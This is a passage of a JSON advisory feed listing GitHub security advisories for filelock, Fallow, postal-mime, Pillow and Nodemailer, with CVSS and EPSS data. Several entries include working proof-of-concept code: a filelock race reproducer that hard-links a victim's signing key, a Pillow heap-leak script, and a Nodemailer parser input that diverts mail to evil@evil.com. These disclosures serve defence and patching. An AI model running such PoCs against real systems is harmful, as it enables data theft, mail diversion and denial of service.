use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2g95-wg33-c5x2","url":"https://github.com/advisories/GHSA-2g95-wg33-c5x2","type":"primary","publishedAt":"2026-10-23T22:00:33.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2g95-wg33-c5x2, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112914","cveId":"CVE-2026-112914","aliases":["GHSA-crv4-6mhj-j5jh"],"kind":"vulnerability","title":"filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory","summary":"When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.","detail":"When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n # w\n\nAffected package ranges reported by GitHub:\nfilelock: >= 4.1.0, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:00:11.000Z","updatedAt":"2026-10-23T22:00:12.000Z","regions":["Global"],"vendor":null,"product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-crv4-6mhj-j5jh","asOf":"2026-10-23T22:00:12.000Z"},"epss":{"probability":0.00161,"percentile":0.05265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh","url":"https://github.com/advisories/GHSA-crv4-6mhj-j5jh","type":"primary","publishedAt":"2026-10-23T22:00:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-crv4-6mhj-j5jh, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-h4fr-cmh5-qr62","cveId":null,"aliases":[],"kind":"vulnerability","title":"Fallow: A `.*` glob segment let an analyzed repository make Fallow test paths in the parent of the project root","summary":"Fallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation.\n\nThe attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root:","detail":"### Impact\n\nFallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation.\n\nThe attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root:\n\n- A plugin `fileExists` detection pattern such as `.*/marker.json` made the plugin active when `marker.json` existed in the parent directory.\n- An external plugin `configPatterns` or `alwaysUsed` pattern could match a config file in the parent directory. When the plugin was active and declared `toolingDependencies`, the tooling detection credited the related dev dependency. An unused dependency finding could then disappear, and `--trace-dependency` printed the outside path.\n- `fallow plugin-check` reported `path_exists: true` for a seeded entry that matched only in the parent directory.\n\nFallow tested only that these paths exist. It did not read or print the content of a file outside the project root through these globs.\n\nThe Jest, Vitest and Rstest project globs had the same `.*` problem, and the Jest and Vitest ones also read file content. GHSA-jfwm-3p3c-6hx5 describes that case.\n\n### Patches\n\nFixed in 3.34.0. Fallow now rewrites a leading `.` in a wildcard segment to `[.]` before it expands the glob on disk. `[.]` matches the same hidden files and directories inside the project root. The `glob` crate does not test `..` against it.\n\n### Workarounds\n\nRun Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `detection`, `configPatterns` and `alwaysUsed` patterns of its plugin files.\n\nAffected package ranges reported by GitHub:\nfallow: < 3.34.0\n@fallow-cli/fallow-node: < 3.34.0\nfallow-cli: < 3.34.0\nfallow-config: < 3.34.0\nfallow-core: < 3.34.0","action":"GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-config: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:58:16.000Z","updatedAt":"2026-10-23T21:58:17.000Z","regions":["Global"],"vendor":null,"product":"fallow, @fallow-cli/fallow-node, fallow-cli, fallow-config, fallow-core","stacks":["JavaScript packages (npm)","Rust crates","fallow","@fallow-cli/fallow-node","fallow-cli","fallow-config","fallow-core","npm","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-h4fr-cmh5-qr62","asOf":"2026-10-23T21:58:17.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h4fr-cmh5-qr62","url":"https://github.com/advisories/GHSA-h4fr-cmh5-qr62","type":"primary","publishedAt":"2026-10-23T21:58:16.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h4fr-cmh5-qr62, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115569","cveId":"CVE-2026-115569","aliases":["GHSA-jfwm-3p3c-6hx5"],"kind":"vulnerability","title":"Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project root","summary":"Fallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root:\n\n- an absolute path or glob, for example `/etc/*`;\n- a path with `..` segments, for example `../*`;\n- a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`;\n- a symlink in the project root to a directory above it;\n- the `extends` path of a Vitest inline project;\n- a script `--config` path that is a symlink to a file outside the project root.","detail":"### Impact\n\nFallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root:\n\n- an absolute path or glob, for example `/etc/*`;\n- a path with `..` segments, for example `../*`;\n- a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`;\n- a symlink in the project root to a directory above it;\n- the `extends` path of a Vitest inline project;\n- a script `--config` path that is a symlink to a file outside the project root.\n\nFallow parsed each of these files as a test runner config. Fallow used the content only to credit dependencies, setup files and JSX import sources. Thus unused dependency and unused file findings could change. Fallow did not print the content or send it over the network.\n\nThe Fallow threat model states that analysis reads only inside the project root. A crafted repository could make Fallow read files that the user did not expect. Such a read can happen in CI, or when an agent runs Fallow on a cloned repository. The attacker gets changed findings, not the file content.\n\nVersions 2.68.0 to 3.33.1 read outside files through Jest `projects`. Version 3.33.1 also read them through Vitest `test.projects`.\n\n### Patches\n\nFixed in 3.34.0. Fallow now resolves each match with symlinks and `..` segments removed. Fallow reads the match only when it is inside the project root. A glob whose literal base is outside the project root does not run. The boundary is the project root, so an in-root entry such as ` /../packages/*` still works, also from the config of a workspace package. Fallow also does not read a script `--config` path that is a symlink to a file outside the project root.\n\n### Workarounds\n\nRun Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `projects` entries of its `jest.config.*` and `vitest.config.*` files.\n\nAffected package ranges reported by GitHub:\nfallow: >= 2.68.0, < 3.34.0\n@fallow-cli/fallow-node: >= 2.68.0, < 3.34.0\nfallow-cli: >= 2.68.0, < 3.34.0\nfallow-core: >= 2.68.0, < 3.34.0","action":"GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:57:37.000Z","updatedAt":"2026-10-23T21:57:38.000Z","regions":["Global"],"vendor":null,"product":"fallow, @fallow-cli/fallow-node, fallow-cli, fallow-core","stacks":["JavaScript packages (npm)","Rust crates","fallow","@fallow-cli/fallow-node","fallow-cli","fallow-core","npm","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-jfwm-3p3c-6hx5","asOf":"2026-10-23T21:57:38.000Z"},"epss":{"probability":0.00187,"percentile":0.08184,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jfwm-3p3c-6hx5","url":"https://github.com/advisories/GHSA-jfwm-3p3c-6hx5","type":"primary","publishedAt":"2026-10-23T21:57:37.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jfwm-3p3c-6hx5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-f2hq-32vh-53cc","cveId":null,"aliases":[],"kind":"vulnerability","title":"postal-mime: Quadratic CPU consumption when decoding a header of many joinable RFC 2047 base64 encoded words","summary":"Decoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget.\n\nAny application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact.","detail":"### Impact\n\nDecoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget.\n\nAny application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact.\n\n### Patches\n\nFixed in 4.0.8. The pad check now tracks the last appended word instead of testing the joined text, so decoding is linear in the header length. The same release also counts the parts and header bytes of inline `message/rfc822` sub-messages against the limits of the message as a whole, counts every header line for at least 64 bytes of `maxHeadersSize`, and adds a scaling test that measures every stage of the parser at two input sizes.\n\n### Workarounds\n\nLower `maxHeadersSize` from its 2 MiB default to bound the cost per message, or parse untrusted mail in a worker that can be terminated.\n\n### Credits\n\nReported by Felipe Fernández.\n\nAffected package ranges reported by GitHub:\npostal-mime: >= 3.0.0, < 4.0.8","action":"GitHub lists first patched versions: postal-mime: 4.0.8. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:54:36.000Z","updatedAt":"2026-10-23T21:54:37.000Z","regions":["Global"],"vendor":null,"product":"postal-mime","stacks":["JavaScript packages (npm)","postal-mime","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-f2hq-32vh-53cc","asOf":"2026-10-23T21:54:37.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f2hq-32vh-53cc","url":"https://github.com/advisories/GHSA-f2hq-32vh-53cc","type":"primary","publishedAt":"2026-10-23T21:54:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f2hq-32vh-53cc, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114501","cveId":"CVE-2026-114501","aliases":["GHSA-654x-cwwv-5j9c"],"kind":"vulnerability","title":"Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1","summary":"When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. \n\nWith an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.","detail":"### Summary\n\nWhen [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. \n\n### Details\n\nWith an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.\n\nTested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.\n\n### PoC\n\nWhether things leak may depend on allocator configuration. This does show a leak on my Mac.\n\n```python\nimport os\n\nos.environ[\"PILLOW_ALIGNMENT\"] = \"64\"\n\nfrom PIL import Image\n\n# Image A: 64 px wide, so its rows fill the whole aligned stride\na = Image.new(\"L\", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\ndel a\n\n# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0\nb = Image.new(\"L\", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\n\ntry:\n exported = Image.fromarrow(b, b.mode, b.size).tobytes()\nexcept ValueError as e:\n print(\"Not vulnerable:\", e)\nelse:\n if leaked := len(exported) - exported.count(0):\n raise RuntimeError(f\"{leaked} of {len(exported)} exported bytes are not B's pixels\")\n```\n\n### Impact\n\nInformation disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.\n\nAffected package ranges reported by GitHub:\nPillow: >= 11.2.1, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:53:21.000Z","updatedAt":"2026-10-23T21:53:25.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-654x-cwwv-5j9c","asOf":"2026-10-23T21:53:25.000Z"},"epss":{"probability":0.00469,"percentile":0.40309,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-654x-cwwv-5j9c","url":"https://github.com/advisories/GHSA-654x-cwwv-5j9c","type":"primary","publishedAt":"2026-10-23T21:53:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-654x-cwwv-5j9c, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114501, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-8c8m-p3m8-cjg8","cveId":null,"aliases":[],"kind":"vulnerability","title":"Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient","summary":"RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.\n\nThe attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.","detail":"### Vulnerability summary\n\nRFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) ) `, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"Victim (x(y) ) \"));\n// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"Victim (x(y) ) \" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix counts comment depth and ends a comment only at the `)` that closes the outermost one.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.\n\nAffected package ranges reported by GitHub:\nnodemailer: >= 3.0.0, < 10.1.4","action":"GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:53:04.000Z","updatedAt":"2026-10-23T21:53:05.000Z","regions":["Global"],"vendor":null,"product":"nodemailer","stacks":["JavaScript packages (npm)","nodemailer","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-8c8m-p3m8-cjg8","asOf":"2026-10-23T21:53:05.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory 